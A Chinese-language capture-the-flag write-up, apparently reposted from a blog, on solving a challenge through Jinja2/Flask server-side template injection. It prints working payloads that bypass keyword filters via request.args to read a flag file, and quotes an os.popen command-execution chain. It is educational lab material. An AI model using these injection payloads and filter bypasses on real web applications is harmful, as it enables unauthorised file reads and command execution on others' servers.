Confusion1

Confusion1

知识点

通过request.args.[key]来绕过关键字限制

在python的flask中的框架,可以通过request.args.get['key']来获取url中的get参数,类似于php中$_GET['key'] ,在进行python模板注入时,我们可以利用这个性质来绕过关键字的书写

json

json是字符串类型,但是形式像python中的字典类型,主要作用在于,json是字符串就方便在各种编程语言中传输,并且方便转换成对象,数组等。

思路

进去题目页面,先f12没有提示,再然后只能发现只有index.php有回显,login.php和register.php都是回显404,我们这时f12可以看到提示 :/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt ,这应该是flag的位置,我们要去读取这个文件,这时我用dirsearch扫一下,发现payload都可以回显200,但是都只是回显一个弹框(只是内容不同),没有回显具体内容,抓包看响应头和请求头也没发现,然后就不知道怎么办。

看了wp说有python模板注入,傻了我,于是我用bp中的scanner模块扫一下,发现果然存在模板注入,并且告诉我是jinja2的模板引擎,那么就是python模板注入,估计是flask,于是开始注入

构造http://220.249.52.133:50097/{{2*2}}

回显The requested URL /4 was not found on this server.

那么我们就可以照着这个形式注入

构造http://220.249.52.133:50097/{{''.__class__}}

这时候回显了一个弹框,为什么呢,可能是存在过滤,过滤了url中的path,那么参数呢?

我们用request.args.key来试着利用参数进行绕过

构造http://220.249.52.133:50097/{{''[request.args.a]}}?a=__class__

回显The requested URL /<type 'str'> was not found on this server.

说明这里我们成功进行了绕过,接下来照着这个思路继续尝试,发现还过滤了mro,subclasses,read,我们照样利用参数进行绕过,注意[request.args.a][request.args.b] 之间相当于有个字符连接符,并且[request.args.a]()?a=read 注意a不是等于read(),不然会返回500。

构造payload:{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read

得到flag

我试着根据http://220.249.52.133:47213/{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}

利用参数绕过,来得到flag

但是在尝试过程中发现globals被过滤了。不管在path中还是参数中都过滤了,不知道怎么绕过,就放弃了用第二种方法。。可能大佬知道怎么绕过

原文地址:https://www.cnblogs.com/NineOne/p/14002351.html